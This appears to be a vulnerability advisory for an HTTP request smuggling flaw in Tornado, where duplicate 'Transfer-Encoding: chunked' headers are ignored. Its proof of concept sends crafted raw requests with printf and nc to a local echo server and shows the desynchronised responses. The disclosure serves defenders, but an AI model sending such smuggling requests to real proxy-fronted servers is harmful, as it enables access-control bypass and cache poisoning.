Description

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado

Summary

When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.

PoC

Install Tornado.

Start a simple Tornado server that echoes each received request's body:

cat << EOF > server.py
import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)
...
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Send a valid chunked request:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe that the response is as expected:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1

Z

Send a request with two Transfer-Encoding: chunked headers:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe the strange response:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0

HTTP/1.1 400 Bad Request
...
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This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.

Impact

Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.

Mitigation

Aliases

References